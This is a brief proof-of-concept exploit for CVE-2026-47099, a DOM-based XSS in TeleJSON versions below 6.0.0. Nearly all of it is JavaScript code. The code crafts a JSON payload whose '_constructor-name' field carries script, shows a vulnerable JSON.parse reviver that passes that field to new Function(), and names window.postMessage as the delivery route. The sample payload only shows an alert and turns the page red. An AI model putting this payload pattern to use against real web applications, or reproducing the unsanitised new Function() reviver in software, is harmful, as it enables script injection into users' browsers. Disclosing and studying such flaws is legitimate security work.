CVE-2026-47099 TeleJSON DOM型XSS漏洞

// Proof of Concept for CVE-2026-47099 // Description: Exploiting TeleJSON DOM-based XSS via _constructor-name // 1. Attacker creates a malicious JSON payload // The key is the "_constructor-name" property which gets passed to new Function() const maliciousPayload = { "message": "Hello World", "_constructor-name": "alert('CVE-2026-47099 Exploited!'); document.body.style.backgroundColor='red';" }; // 2. Simulating the vulnerable behavior in TeleJSON < 6.0.0 // The vulnerable parse function uses a reviver that passes the value to new Function() function vulnerableParse(jsonString) { return JSON.parse(jsonString, (key, value) => { if (key === '_constructor-name') { // Vulnerability: No sanitization before passing to new Function() return new Function(value); } return value; }); } // 3. Execution // If the application receives this payload (e.g., via postMessage) and parses it: console.log("Sending malicious payload..."); // vulnerableParse(JSON.stringify(maliciousPayload)); // This would trigger the XSS // 4. Real-world vector via postMessage // window.postMessage(JSON.stringify(maliciousPayload), '*');